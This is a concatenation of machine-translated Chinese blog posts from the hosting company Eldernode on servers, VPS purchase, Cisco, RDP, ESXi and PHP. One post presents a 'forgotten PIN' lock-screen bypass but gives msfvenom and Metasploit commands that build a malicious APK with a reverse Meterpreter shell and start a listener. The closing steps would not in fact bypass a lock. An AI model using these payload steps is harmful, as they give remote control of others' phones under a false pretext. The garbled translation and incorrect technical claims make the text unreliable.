专用服务器是由虚拟主机公司提供的虚拟主机服务器,专门供组织或个人使用。专用服务器是最昂贵的托管服务之一,可用于大型项目,具有非常高的灵活性。与许多客户端共享同一台服务器的共享服务器不同,在专用服务器上,只有一个用户可以完全使用一台服务器。诸如操作系统类型选择、服务器硬件类型、服务器安全实现等特征也对用户可用。
一般来说,选择和购买专用服务器适合托管繁重的网站、大型应用程序以及存储备份等信息。小型企业网站不需要托管在专用服务器上,但是对于快速发展和广泛分布的企业来说,使用专用服务器是一个好主意。
专用服务器比其他类型的服务器功能强大得多,服务器类型的选择和购买将完全取决于用户对服务器的使用。如果你的网站需要更多的服务器资源,我们建议购买专用服务器。
何时使用专用服务器?
当资源远远大于分配给 VPS 服务器的资源时,通常需要专用服务器。例如,当一个或多个与具有特殊需求和定制且需要大量硬件资源来运行的公司相关的 web 服务被放置在相关的专用服务器上时,可以使用专用服务器。此外,当一个网站同时有许多访问者,需要强大的硬件资源来服务时,专用服务器将非常有用。
如今,专用服务器以两种类型的服务形式提供给用户,物理专用服务器和专用云服务器。这两种类型的服务在大多数情况下非常相似,由于其稳定性、安全性、性能和更高的速度,专用云服务器通常是更好的选择。如果在服务器上使用 VMWare、 Hyper-V 、 KVM 等虚拟化技术,最终的解决方案是使用物理专用服务器。
具有 RAM、CPU、硬盘、月流量等相关硬件规格的专用服务器以不同方案的形式由 Eldernode 按月或按年出租给用户。
注: 选择专用服务器最重要的一个问题是适当的支持和技术知识。由于其辉煌的历史和与世界各地各种数据中心的合作,Eldernode 团队随时准备为您提供免费咨询。可以送票免费咨询或者联系 Eldernode 在线支持。
教程用比特币购买专用服务器(BTC)
专用服务器的优势
1。性能和可靠性
专用服务器给你无限的带宽和磁盘空间。这使您能够完全控制网站上可供人们使用、共享和存储的信息和媒体。由于处理器、磁盘空间、内存和其他系统资源不与其他人共享,这样的服务器将不会很慢,并且可以处理大量的流量。
2。速度和可用性T3
如果您想为访问者提供最佳体验,专用服务器将是您的理想选择。这种类型的服务器允许您的访问者高速访问网站上的页面。当你在经营一个网上商店和电子商务网站或者启动一个金融交易网站时,这一点尤其重要。
3。安全和技术援助
因为您是唯一可以访问专用服务器的人,所以您可以享受现有的高级安全性。专用服务器为您提供一个唯一的 IP 地址,以获得更好的隐私和安全性,并提供高级别的保护,抵御恶意软件和其他攻击者。另外,这样的服务器可以为你提供技术支持。您可以使用高级控制面板。这个控制面板使访问功能更容易,并使网站管理更容易。
专用服务器的缺点
1。成本和维护
使用专用服务器的一个主要缺点是它们比其他主机选项更昂贵。你完全可以使用专用服务器,这增加了它的成本。对网站所有者来说,建立、维护和修理网站也是一个巨大的挑战。大多数企业为他们的站点使用虚拟或共享服务器。
2。技术要求
要开发一个专用服务器并管理它所在的站点,您必须掌握大量的网络知识和技能。您应该熟悉的一些东西包括 IP 路由、服务器机制、MX 记录等等。如果你不想学习这样的概念,最好聘请专业的管理员或请托管公司为你管理。专用服务器很少崩溃,但如果崩溃了,修复起来会有点困难。如果你的网站有很大的流量或者必须处理大量的金融交易,你可以很好地使用这种类型的服务器。如果你的业务是新的,最好从共享或虚拟主机开始。
elder node 中的专用服务器位置
Eldernode 是 VPS 服务器和专用服务器领域中规模最大、声誉最高的公司之一,为世界各地的人们提供这些服务。专用服务器目前分布在 7 个国家/地区:美国、法国、荷兰、德国、英国、日本和新加坡,每个国家/地区如下所述:
1。美国专用服务器
美国的专用服务器位于全国顶尖的数据中心,分别位于纽约州市、达拉斯、布法罗、洛杉矶。如果需要购买美国专用服务器,可以查看可用的套装。
2。法国专用服务器
法国的专用服务器位于该国顶级的数据中心,位于巴黎。如果需要购买法国专用服务器,可以查看可用的套餐。
3。荷兰专用服务器
荷兰专用服务器将位于阿姆斯特丹和该国其他城市的顶级数据中心。荷兰数据中心是最早提供专用服务器服务的公司之一,并且一直使用最好的标准和设施。如果需要购买荷兰专用服务器,可以查看可用的套餐。
4。德国专用服务器
德国专用服务器位于柏林、杜塞尔多夫、慕尼黑和法兰克福的顶级数据中心。德国数据中心使用 IT 界的最新技术。这些数据中心的所有 Eldernode 机架都有强大的 DDoS 防火墙。重要的是要知道,所有可用的专用服务器都位于德国数据中心,这些数据中心使用强大的电源监控系统、液体冷却系统,并使用户对提供服务感到舒适。德国专用服务器具有强大的互联网连接端口,可以说所有用户都可以使用这些服务器进行虚拟化、网站和应用托管以及专用服务。如需购买德国专用服务器可以查看可用套餐。
5。英国专用服务器
英国专用服务器位于伦敦最先进的数据中心之一,该数据中心采用 IT 世界的最新技术,为用户提供强大的稳定性。如果需要购买英国专用服务器,可以查看可用的套餐。
6。日本专用服务器
日本的专用服务器位于东京的顶级数据中心。日本专用服务器使用数据中心的最高全球标准,拥有服务器所需的配电系统以及现代化的冷却系统。如果需要购买日本专用服务器,可以查看可用套餐。
7。新加坡专用服务器
新加坡的专用服务器位于该国顶级的数据中心。需要购买新加坡专用服务器可以查看可用套餐。
如何用比特币从 Eldernode 购买专用服务器
要使用比特币从 Eldernode 购买专用服务器,只需遵循以下步骤:
1。首先,打开老年节点网站。
2。要购买专用服务器,您需要在网站上注册。为此,在输入您的信息后,点击网站主菜单中的注册加入网站。订阅网站后返回 Eldernode 主页。
3。现在点击网站主菜单中的专用服务器标签。
4。向下滚动一点,选择您的期望位置,从可用选项中购买专用服务器。
5。在这个阶段,你会看到专用服务器的不同规划。选择其中一个方案后,根据您的需要,点击命令。
6。在此页面上,填写完必填字段后,必须右键点击继续选项。
7。您现在已进入审核和结账阶段。点击右边的结账。
8。您已经进入付费详情页面。您可以在这里选择付款方式。如果您想通过比特币存入所需金额,请选择比特币、以太坊、USDT 和所有加密货币。然后点击完成订单。
9。最后,选择硬币类型后,点击完成结账。
结论
在本文中,我们试图让您充分了解专用服务器及其优缺点。由于比特币等数字货币的使用与日俱增,所以我们试图在 Eldernode 教你如何用比特币购买专用服务器。
如何选购即时设置的 kvm VPS?-便宜的 KVM VPS
原文:https://blog.eldernode.com/buy-kvm-vps-with-instant-setup/
购买带即时设置的 kvm VPS、KVM Linux VPS、KVM Windows VPS、KVM RDP 管理。
什么是虚拟服务器?
虚拟的、完全独立的服务器,比如可以完全访问物理专用服务器的专用服务器,称为虚拟服务器。每个虚拟服务器都独立包含特定份额的服务器资源,如 RAM、C.P.U 或硬盘(H.D.D)。
用比特币购买 kvm VPS
更好地了解 KVM 技术
KVM 是由 Redhat 开发的开源虚拟化器,red hat 是技术超级大国中最受欢迎的虚拟化平台之一。
使用这种技术创建的虚拟服务器具有专用的内核和硬件资源,而且在这种平台上,不可能超售或超售。
在 eldernode,我们基于 kvm 提供以下服务:
KVM VPS 付款方式:
可以用比特币、莱特币、以太币、完美货币或者数字货币支付。
kvm VPS 地点:新加坡、俄罗斯、美国、香港、英国、荷兰、澳大利亚、德国、日本、法国、土耳其、加拿大和其他一些国家。
您可以就本文提出问题,或者解决该领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
如何购买带 SSD 存储的纽约 VPS-elder node 博客
原文:https://blog.eldernode.com/buy-new-york-vps-with-ssd-storage/
当你决定在网络空间移动和成长,不想回到过去,为你的企业找到合适的主机是很重要的。通过选择和购买一个 VPS ,你将完全控制你的服务。同时,你将拥有比共享主机更高的安全性、速度、效率和灵活性。在这篇文章中,我们将教你如何在 Eldernode 上购买带 SSD 存储的 New York VPS 。
教程购买纽约 VPS 带 SSD 存储
VPS的特点及应用
如今,网站和信息技术平台已经成为许多公司发展、维护和保留信息的基础。在某种程度上可以保证公司的适当增长和盈利。对于正在设计一个新网站的人来说,选择一个具有最高安全和质量的可靠服务是非常重要的。
VPS 服务器的优势和应用有:
1-提高可靠性
2-完整的服务器管理
3-提高生产率和高性能
4-灵活性
5-节约成本
6 台服务器监控
7-专用邮件服务器
8-备份管理
SSD 存储简介
SSD 代表固态硬盘,这意味着其中没有移动部件。SSD 技术一般不同于 HDD。需要注意的是,SSD 内存是由 NAND 闪存技术制成的,其内部解剖结构中没有机械部分。
固态硬盘之所以被称为 SSD,是因为与硬盘不同,它的机制不是基于对象的旋转及其内部执行的移动。
与 DRAM 或动态随机存取存储器中使用的必须每秒刷新几次的晶体管不同,NAND 闪存的设计使其即使在没有电源可用的情况下也可以充电或放电。
当然,这些类型的驱动器比硬盘驱动器更昂贵,因为它们的速度高,并且体积比硬盘驱动器小。在个人电脑和中档笔记本电脑中,固态硬盘内存被用于硬盘旁边,以便在其上安装 Windows 和一些应用程序,并享受其高速。
在 Eldernode 中, Windows VPS 、 Linux VPS 、托管 VPS 、 RDP Admin 等服务都支持 SSD 存储技术。在这篇文章中关注我们,向您展示如何在 Eldernode 上购买带有 SSD 存储的纽约 VPS。
在 Eldernode 上购买带 SSD 存储的 New York VPS
在前面几节中熟悉了 VPS 以及 SSD 存储的功能和应用之后,我们现在想教您如何在 Eldernode 上购买带有 SSD 存储的纽约 VPS。为此,你必须首先在 Eldernode 网站上注册 。
第一步,进入 SSD 虚拟私有服务器 页面。
如下图所示,您可以指定是按月还是按年提供服务。然后选择您想要的服务并点击立即订购。我们在这里点击 Windows VPS 。
查看可用计划后,选择您想要的计划上的立即订购按钮:
下一节是关于配置您想要的服务。在此部分,您必须完成位置字段( 纽约 )和操作系统。然后点击继续:
进入下一步后,你会在审核&结账部分看到所有你想买的服务。如果您有折扣代码,请输入申请。点击结账进入最后一节:
选择一种支付方式,点击完成订单完成购买:
结论
每个 VPS 服务器完全独立于其他帐户运行。因此,它可以使用具有不同版本、资源、软件和硬件的不同操作系统。这项服务之所以受欢迎,是因为它提供了专用但经济高效的服务器功能。在这篇文章中,我们试图教你如何在 Eldernode 上购买带 SSD 存储的纽约 VPS。
如何购买打折永久英国 VPS-elder node 博客
虚拟服务器(缩写为 VPS)通过为用户提供对操作系统(如专用服务器)的完全访问,提供了最大的灵活性。这项服务也比专用服务器更受欢迎。因为它提供了对专用服务器的近距离访问。同时,它比专用服务器更经济实惠。在这篇文章中,我们将教你如何购买英国 VPS 永久折扣。请加入我们。
教程用折扣永久购买英国 VPS
Recommended Article: Russia VPS Server
VPS 简介
虚拟服务器代表虚拟专用服务器。一些人错误地将虚拟服务器称为 VDS,代表虚拟专用服务器。当然,副总统和 VDS 是不同的。
虚拟服务器是安装在单台计算机上为多个网站提供服务的专用服务器。一台计算机可能有几个虚拟处理器,每个虚拟处理器都有一个独立的操作系统和针对每个用户的特定软件。换句话说,虚拟服务器是其资源在几台机器或用户之间共享的服务器。
如今,个人、组织或小型和大型企业需要网站和基于 web 的应用程序,以便更好地销售他们的产品或服务,并与他们的客户进行更多的互动。这需要在硬件、软件和基础设施方面进行大量投资。
VPS 服务器为所有类型的小型和大型企业提供了非常灵活和经济高效的解决方案,使他们能够发展壮大自己的业务。虚拟服务器在操作系统、虚拟化技术、资源以及迁移到其他服务的能力方面非常灵活。
应该注意,虚拟服务器提供专用服务器的功能;而在共享主机平台上。几个虚拟服务器安装在一个强大的专用服务器上,并且相互独立运行。这种强大的物理服务器运行在 T2 的 Windows T3 或 T4 的 Linux T5 操作系统上,并使用一种强大的虚拟化技术,称为 hypervisor。这将创建一个虚拟机。
每个虚拟机运行一个完整的操作系统,并限制对内存和存储库等物理资源的访问。客户可以访问虚拟机操作系统,但不能访问物理服务器。
购买英国永久优惠价
购买英国 VPS 服务器,首先要 在 Eldernode 网站 注册。
要继续,您必须首先进入 英国 VPS 页面:
如下图可以看到,Eldernode 中为英国提供了Windows VPSLinux VPS托管 VPSRDP Admin服务器。您可以选择其中一个计划并点击立即订购。我们在这里选择虚拟主机。
如你所见,有 4 种不同的包装适合你。您可以通过选择这些产品包并点击立即订购来检查其中一个产品包:
点击立即订购将带您进入配置页面。在服务器配置部分,您需要完成主机名和名称服务器(NS) 。在可配置选项部分,您还必须填写与操作系统、位置(英国)、控制面板等相关的字段。需要注意的是,您可以选择全托管支持或 VIP 支持进行支持。然后点击继续。
在审核&结账页面,浏览完购物车,如果有折扣码就可以进入。然后点击右栏中的结账:
最后一步,您必须从付款详情部分选择一种付款方式,然后点击完成订单。这里我们选择支付方式比特币、以太坊、USDT,以及所有加密货币。
在打开的页面上,查看您的信息后,您可以在选择硬币部分的右栏中选择您想要的货币。然后点击完成结帐。
最后,通过扫描如下所示的条形码来支付您想要的服务。我们的专家将尽快为您提供服务。
结论
选择 VPS 服务器后,将为您分配一个帐户。在此帐户中,您将完全控制您的 VPS 服务器。完全控制意味着您可以自己安装和更新服务器操作系统。也可以安装自己喜欢的软件。我们的建议是把这个任务留给公司的技术专家。在这篇文章中,我们试图教你如何购买永久折扣的英国 VPS。
教程使用 Kali Linux 绕过 Android 手机的锁屏
原文:https://blog.eldernode.com/bypass-the-lock-screen-of-android-using-kali-linux/
出于某种原因,你可能会忘记你的 Android 锁屏模式、pin 或密码,并且正在寻找一种方法来绕过它。这可以使用 Kali Linux 来完成。本文将教你如何使用 Kali Linux 绕过 Android 手机的锁屏。如果你打算购买一台 Linux VPS 服务器,你可以在 Eldernode 网站上查看提供的软件包。
如何绕过安卓手机使用 Kali Linux
通过您的 Google 帐户重置模式、pin 或密码是可能的,但可能不起作用,您将不得不在工厂重置您的设备。如果你不能使用你的谷歌账户重置你的安卓锁屏,就没有必要进行出厂重置。你可以使用 Kali Linux 绕过你的 Android 锁屏。
在这个来自 Kali Linux 培训系列的教程中,你将学习如何绕过使用 Kali Linux 的 Android 手机的锁屏。
在 Kali Linux 上安装 Android SDK
Android SDK 是一款在 Android 操作系统上开发应用的工具。你可以用它在电脑上执行与 Android 操作系统相关的命令。该工具提供了构建、测试和调试 Android 应用程序所需的 API 库和开发工具。注意,你要有一个 rooted 的 Android 设备。
首先,使用以下命令更新您的系统软件包:
sudo apt update
要在 Kali Linux 上安装 Android SDK,只需运行以下命令:
sudo apt install android-sdk
让我们进入下一步。
利用 Metasploit 来剥削安卓手机
一旦您在 Kali Linux 上安装了 Android SDK,现在是时候在您的 Kali Linux 上安装 Metasploit 并使用它来利用您的 Android 设备了。Metasploit 是一个开源框架,为漏洞研究和代码开发提供公共资源。它允许安全专业人员识别对其网络的入侵,并识别威胁和漏洞。
首先,你应该找到你的 Android 设备的 IP 地址。为此,进入设置> >关于手机> >状态路径。
使用以下命令在 Kali Linux 上安装 Metasploit :
sudo apt install metasploit-framework
启动 PostgreSQL 服务,并通过运行以下命令进行设置:
sudo msfdb init
以下命令可以帮助您与 Metasploit 配置的各个部分进行交互:
sudo msfdb
PostgreSQL 是 Metasploit 框架的数据库。您应该使用下面的命令启动它:
sudo msfdb start
现在,您应该通过输入以下命令来创建和初始化 msf 数据库:
sudo msfdb init
是时候推出 msfconsole 了。为此,请运行以下命令:
msfconsole -q
在 Kali Linux 中用 msfvenom 生成有效载荷
首先,您需要生成一个 apk 文件作为恶意负载。为此,请输入以下命令:
msfvenom –p android/meterpreter/reverse_tcp LHOST=IP_Address LPORT=4444 R> /var/www/html/ehacking.apk
–>p:表示有效载荷类型
–>android/meterpreter/reverse _ TCP:它指定了一个来自目标 Android 设备的反向 meter preter 外壳
–>LHOST:这是你的本地 IP
–>LPORT:设置为监听端口
–>R>/var/www/html:它直接在 Apache 服务器上给出输出
–>apk:是最终输出的最终名称
等待一段时间,直到生成一个 apk 文件。
对卡莉 Linux 发动攻击
启动 Metasploit 控制台并获得 Android 设备的 IP 地址后,输入以下命令启动从 Kali Linux 计算机到 Android 计算机的反向 TCP 连接:
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST
set LPORT 4444
exploit
连接建立后,将在 Android 设备上打开一个 Meterpreter 会话。在此部分,您可以输入必要的命令来绕过锁定屏幕。
看到端口 4444 后,确保连接到 Android 设备。
绕过使用 Kali Linux 的安卓手机锁屏
现在你所要做的就是进入设置>屏幕锁定路径。然后为 Android 手机选择您想要的屏幕锁定类型:
最后,选择您的密码并确认。
就是这样!您已经成功绕过了使用 Kali Linux 的 android 手机的锁屏。
结论
你可能因为某些原因忘记了你的安卓锁屏密码。在这篇文章中,我们教你如何使用 Kali Linux 绕过 android 手机的锁屏。我希望这篇教程对你有用,并帮助你绕过使用 Kali Linux 的 android 手机的锁屏。如果你有任何问题或建议,可以在评论区联系我们。
CentOS 教程- ElderNode 博客
版权所有 2019-2022 Eldernode。版权所有
如何将 Cisco 交换机端口更改为路由端口- Eldernode 博客
原文:https://blog.eldernode.com/change-cisco-switch-port-to-routed-port/
思科是世界上最大的网络设备生产商,其最重要的两种产品是交换机和路由器。您可以根据需要使用交换机或路由器,但有时您需要在交换机和路由器之间进行路由。在本文中,我们将教您如何将 Cisco 交换机端口更改为路由端口。如果您想购买一台 VPS 服务器 ,建议您访问 Eldernode 中提供的软件包。
教程将 Cisco 交换机端口改为路由端口
交换机和路由器简介
交换机将计算机、打印机和服务器等多种设备连接到共享资源的网络。交换机充当网络控制器,允许设备通过分组交换相互交换信息和通信。
路由器是一种物理硬件或虚拟软件,用于在计算机网络之间接收、分析和发送数据包。事实上,路由器检查数据包的目的 IP 地址,然后考虑传输数据包的最佳方式。
什么是思科交换机?
思科已经能够接管网络交换机生产和支持市场,并为各种业务推出了各种思科交换机。思科交换机主要分为三类:核心、分布和接入。
什么是思科路由器?
路由器是思科生产的最强大的产品之一。思科路由器则不同,配备不同的模块,可用于家庭或商业用途。路由器是第 3 层设备,它传送网络下客户端生成的数据包。该目的地可以在同一个网络、另一个本地网络或互联网中。
将 Cisco 交换机端口更改为路由端口
分配一个 IP 地址,然后输入以下命令:
config t
按下回车键开始,然后输入以下命令:
show ip interface brief
然后您将看到不同端口的列表;为其中一个端口分配 IP 地址:
interface GigabitEthernet 1/0
现在输入你的 IP 地址。
如果您看到以下错误:【在'^'标记处检测到无效输入】,请返回路由器 1 并输入以下命令:
ping ip address
由于此交换机是第 3 层交换机,您可以更改交换机端口使其可路由。为此,请输入以下命令:
no switchport
然后输入你的 IP 地址并键入 no shutdown 以确保错误不再发生。
退出其他部分后,键入以下命令:
ping ip address
现在,您可以看到 pings 命令已返回。
将 IP 地址放在第三层交换机端口上,这样如果需要的话,你可以在路由器和交换机之间路由。
结论
计算机网络中的交换机是通过分组交换连接计算机网络中的设备以在它们之间交换数据的网络硬件之一。通过本文,您将了解 Cisco 交换机和路由器,并学习如何在需要时将交换机端口更改为路由端口。
从注册表更改桌面远程协议- Eldernode
原文:https://blog.eldernode.com/change-desktop-remote-protocol-from-registry/
在 Windows 桌面远程服务中,影响速度和通信方式的因素之一是其通信协议。这篇文章将教你如何从注册表中改变桌面远程协议。默认情况下,如果网络连接在组织外部,Windows 会通过 UDP 进行通信,以加快速度并更快地执行命令。但是这种速度的提高会影响桌面遥控器上的一些服务。例如 ,如果您通过桌面遥控器观看视频或收听音频文件,连接、声音或图像将会中断,唯一的解决方法是连接到 TCP 协议。
如何从注册表更改桌面远程协议
您可以通过 Windows 注册表进行设置,使桌面遥控器只与 TCP 协议通信,这样您就不会遇到任何可能的问题。在这篇文章中,我们将教你如何从注册表中更改远程桌面协议。
注意通过 TCP 的远程桌面连接需要非常好的互联网速度,如果没有合适的通信速度,连接将达不到要求的质量,您肯定会。
本教程仅适用于 Windows Server 2012 以上版本。
首先通过 Winkey + R 组合键,打开 Run 窗口,进入 regedit ,然后点击 Ok 。
现在去下面列出的地址:
HKEY_LOCAL_MACHINE > SOFTWARE > policies > Microsoft > WindowsNT > Terminal Services
在这个部分中,在一个空的部分上右击并从新选项中点击 DWORD 并输入其名称 SelectTransport 并按下 Enter 。
然后双击创建的键上的,输入期望值,点击 OK 。
0: 如果输入零,桌面遥控器将同时使用 TCP 和 UDP 协议。
1: 如果输入数字一,桌面远程服务将只使用 TCP 协议。
2: 如果您输入数字 2,Windows 桌面远程服务将在连接中同时使用 TCP 和 UDP 协议。
输入所需的值并点击 OK 后,退出该页面并重启您的 Windows 一次。
重新启动后,将应用您想要的设置。
结论
您可以配置 Windows 注册表,使远程桌面只与 TCP 协议通信,以避免潜在的问题。本教程完整地解释了如何从注册表中更改桌面远程协议。
如何以 5 种不同方式更改 ESXi 主机名- Eldernode 博客
原文:https://blog.eldernode.com/change-esxi-hostname-in-5-different-ways/
如您所知,有几种方法可以在 ESXi 主机中更改主机名。基本上,在做任何事情之前,应该调查做这件事的原因。在这种情况下,用户必须知道更改主机名的原因,然后再进行更改。在本文中,我们试图让您了解如何以 5 种不同的方式更改 ESXi 主机名。您可以在专用服务器上实施 ESXi 虚拟化软件。为此,您可以查看 Eldernode 中的套装,购买一台专用服务器。
教程用 5 种不同的方式改变 ESXi 主机名
每个人都有一个专用的主机名,必须在一些站点设置中指定。如果主机名定义不正确,系统、数据库和整个主机都会出现问题。这些障碍包括信息传递受阻,甚至操作缓慢。对于每个电子邮件、FTP 和数据库,都会创建一个专用的主机名,以确保数据传输和管理过程完整。在本文的后续部分,我们将向您介绍在 ESXi 中更改主机名的各种方法。
用 5 种不同的方式在 ESXi 中更改主机名
安装 ESXi 主机后,您需要做的第一件事是指定 IP 地址和主机名。默认情况下,主机名等于 localhost,IP 地址是 DHCP。在本教程中,我们将尝试学习如何使用 5 种方法在 ESXi 中更改主机名。请和我们呆在一起。
注: 如果你使用的是 esx 6.0,可以参考文章如何用 CLI 升级 esx 6.0 到 6.5升级到 6.5。
方法 1)如何使用主机客户端更改 ESXi 主机名
以前你必须安装额外的 Vib 来实现这个功能。但是现在您可以通过 web 浏览器访问主机客户端,而不需要额外的软件。请注意,ESXI 客户端主机当前正在安装 ESXi。您可以通过以下地址连接到您的主机:
https://ip_or_fqdn/ui
然后进入联网> > TCP/IP 栈> > 编辑设置。在这种情况下,通过进入上述路径,将为您显示一个新的弹出窗口。此窗口中有一些按钮,您可以使用它们来更改主机名。
方法 2)如何使用 vSphere Web Client 更改 ESXi 主机名
更改主机名的第二种方法是使用 vSphere web client。请记住,这是目前唯一允许您管理所有 vSphere 基础架构配置的客户端。此外,应该注意的是,基于闪存的客户端速度很慢,在某些情况下可能会有很多错误。请按顺序执行以下步骤:
第一步是通过 vSphere web client 进行连接。
然后进入主机 > > 配置 > > 联网 > > TCP/IP 配置并选择。
然后选择默认系统堆栈,点击编辑图标。
最后,您可以通过打开的窗口更改主机名。
方法 3)如何使用 vSphere HTML 5 客户端更改 ESXi 主机名
请注意,要以这种方式访问某些功能,您必须使用基于 vSphere 闪存的客户端,但您可以逐渐在客户端上获得更多可用功能。在第三种方法中,您可以像第二种方法(vSphere Web Client 方法)一样操作。请注意,您也可以通过 vSphere HTML 5 客户端更改您的主机名。
方法 4)如何使用 SSH 或直接控制台更改 ESXi 主机名
使用这种方法需要激活 SSH。请注意,要在控制台窗口中输入遥控器,您必须输入以下命令:
dcui
现在,您需要转到下面的路径来配置其他部分。为方便起见,您可以遵循以下路径:
F2 > > 配置管理网络 > > DNS 配置 > > 主机名
在 SSH 或直接控制台方法中,您必须完成所有配置。还有另一种方法可以访问文件菜单。然后复制您的会话,选择查看,然后选择复制。请注意,此会话也具有与源会话相同的访问权限。
方法 5)如何使用 PowerCLI 更改 ESXi 主机名以挽救局面
如果您的服务器上有多台主机,第五种方法很有用。请记住,有几个为此目的编写的脚本。请注意,如果您有很多主机,可以使用 PowerCLI 方法来简化您的工作。
结论
有几种方法可以更改主机名,并且可以使用不同的工具进行更改。在本文中,我们试图解释在 ESXi 主机中更改主机名的不同方法。本文中提到的方法非常简单,很容易更改主机名。如果你想在这个虚拟机中创建一个虚拟机,可以参考文章如何在 VMware ESXi 6.5 中创建虚拟机。
如何用两种方法在 Cpanel 中更改 php 版本
在本文中,我们将教你如何在 Cpanel 中更改 PHP 版本。 PHP 版本与网站上安装的模板或插件不兼容会导致几个问题。这些错误中最常见的一个是错误 500 。
在大多数情况下,通过更改主机的版本,这种错误很容易在短时间内消除。当然,需要注意的是,这个误差可能还有另外一个来源。
在上一篇文章中,我们教了你如何在 Direct Admin 中修改 PHP 版本。在这篇文章中,我们尝试检查在 Cpanel 控制面板上更改 PHP 版本的最快方法。
Eldernode 提供安全、快速的 VPS 托管,卓越的性能特性,以及全天候待命的专业支持团队。
如何在 Cpanel 中更改 PHP 版本
如何升级主机中的 PHP 版本
在更新之后,每个模板或插件都兼容 PHP 的新版本。由于这个原因,旧版本与新版本的 PHP 不兼容,并成为问题。这种不兼容性甚至可能导致插件或网站模板无法正常工作。
这就是更新软件和功能的重要性变得更加突出的地方。由于这些更新是永久性的,所以有可能我们每次都想改变我们想要的版本。
如何通过 Cpanel 更改网站的 PHP 版本?
首先登录你的 Cpanel 主机。
此时,在软件部分的控制面板第一页上,你要寻找一个名为 多 PHP 管理器 的选项。在某些主机上,这一部分可作为 选择 PHP 版本 。
如何用多 PHP 管理器在 Cpanel 中更改 PHP 版本
在你的控制面板的主页上,从软件部分,点击短语多 PHP 管理器。
然后您将被带到一个类似于下面的页面。
在这一部分,您将看到您在主机上定义的所有域的地址。只需激活你想要的域名旁边的复选框。
现在在 PHP 版本抽屉的右上角,选择你最喜欢的 PHP 版本。(类似下图)
最后,选择版本后,点击应用按钮保存修改。
为了确保该版本与您的网站兼容,请打开您网站的主页和登录页面。如果没有显示公告或警告,则该站点与选择的版本兼容。如果您因为任何原因得到一个错误,请尝试其他版本。
如何用选择 PHP 版本在 Cpanel 中更改 PHP 版本
如前所述,软件部分的一些用户没有一个名为多 PHP 管理器的选项。为了改变他们主机的 PHP 版本,这组用户必须点击选择 PHP 版本选项。
然后你会看到一个叫做 PHP 选择器的页面。现在只需从 PHP 版本中选择你想要的版本。在进行任何更改之前,点击页面右上角的恢复 为 默认按钮(这将使所选版本重置为默认)。
****最后,点击设置为当前链接到应用您的设置。
注: 您选择的版本显示在短语当前 PHP 版本前面为活动版本。如果该部分没有改变,重复设置。
你可以很容易地改变 Cpanel 主机的 PHP 版本。
关于运行 Cpanel 的更多信息以及其他相关配置,可以关注下面的链接:
****1。在 cPanel 中使用文件管理器 ****
2。教程如何将指南从 cPanel 迁移到 direct admin
尊敬的用户,我们希望您喜欢如何在 Cpanel 中更改 PHP 版本,您可以在评论区询问关于本次培训的问题,或者解决 Eldernode 培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何在直接管理新旧界面中更改 php 版本
原文:https://blog.eldernode.com/change-php-version-in-direct-admin/
在本文中,我们将教你如何在 Direct Admin 中更改 PHP 版本。在任何类型的主机中,无论是使用 CPanel 控制面板还是使用 Direct Admin 控制面板,都可以进行诸如检测当前 PHP 版本并对其进行更改之类的更改。
在安装模板或者插件之前,你要了解你的主机的 PHP 版本,必要时进行更改。在某些情况下,更改 PHP 版本将修复网站的问题和错误。
在这篇文章中,我们将教你如何在直接管理中改变 PHP 版本。在本教程结束时,您将能够在直接管理中检测 PHP 版本并更改它。
Eldernode 提供安全、快速的 VPS 托管,卓越的性能特性,以及全天候待命的专业支持团队。
如何理解直接管理的 PHP 版本
在直接管理中,可以更改 PHP 版本,但必须注意的是,添加所需版本必须由管理服务器通过 SSH 完成。为此,首先,管理员将通过控制台添加相关版本,然后在用户主机控制面板中添加一个名为 PHP 版本 选择器的选项。
注意: 如果您没有访问此选项的权限,您应该向您的主机支持提出此问题。
如何在直接管理中更改 PHP 版本
1。 要入门,必须先 登录 直接管理 。为此,在浏览器中输入您的站点地址和端口: 2222 。当然,请注意,在某些服务中,由于用户请求和增加的登录安全性,此端口可能已被更改。
在成功登录后,您将看到一个类似于下图的页面,这是您的控制面板用户界面的主页面:
2。 在此页面,点击域名设置选项,进入域名设置页面。
下一页显示连接到这些主机的所有域的列表。由于每个域都有自己单独的设置,我们选择要应用更改的域,以进入同一个域的专用设置部分。
3。本节中的,仅指页面下方。
如图所示,有一个名为 PHP 版本选择器的部分。这个部分的存在意味着服务器管理员已经通过 SSH 环境配置了这些版本。现在你可以从这个下拉列表中选择你想要的版本。
最后,点击保存按钮保存所需设置。
在新的直接管理中更改 PHP 版本
最近,直接管理的新版本可用,并在一些服务器上活跃。那些使用新的 Direct Admin 的用户必须通过以下途径来更改他们的 php 主机版本:
1。 首先,登录到你的直接管理主机。
2。 在账户管理器部分,点击域名设置选项,进入域名设置页面。
3。 点击你想要的域名。
4。 你会被重定向到一个类似下图的页面。点击 PHP 版本选择器选项。
5。 点击上面的选项,服务器上定义的 PHP 版本就会显示出来。你可以选择其中之一。
注意: 在直接管理中,这个列表中只显示最后两个 PHP 版本。
6。 最后,点击 保存 按钮来改变你的主机的 PHP 版本。
如需了解更多关于运行直接管理和其他相关配置的信息,您可以点击以下链接:
2。如何从一个 DirectAdmin 转移到另一个 direct admin
亲爱的用户,我们希望您喜欢如何在直接管理中更改 PHP 版本,您可以在评论区询问关于本次培训的问题,或者解决 Eldernode 培训领域的其他问题,请参考提问页面部分并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Windows - Eldernode 博客上的教程更改 RDP 端口
更改远程桌面端口是网络安全考虑因素之一。你可能想知道我们如何保护我们的网络免受黑客攻击。黑客最常见的活动是检查开放的网络端口并攻击它们。为了避免这些攻击,强烈建议取消网络端口的默认设置,并更改默认端口。远程桌面协议(RDP)是当今大多数公司和组织用于远程办公和远程网络管理的最重要的服务之一。在本文中,我们将向您介绍教程在 Windows 上更改 RDP 端口。如果你想得到一个 购买 RDP 服务器,你可以在 Eldernode 中看到可用的软件包。
如何在 Windows 上更改 RDP 端口
为了增加 Windows 服务器中的安全因素,服务器管理员改变了远程桌面端口的默认模式(端口 3389)。要更改端口,您必须首先在防火墙中激活端口。请注意,所选端口必须介于 1025 和 65535 之间。在下一节中,加入我们来一步步教你如何在窗口上更改 RDP 端口。
为什么改 RDP 港?
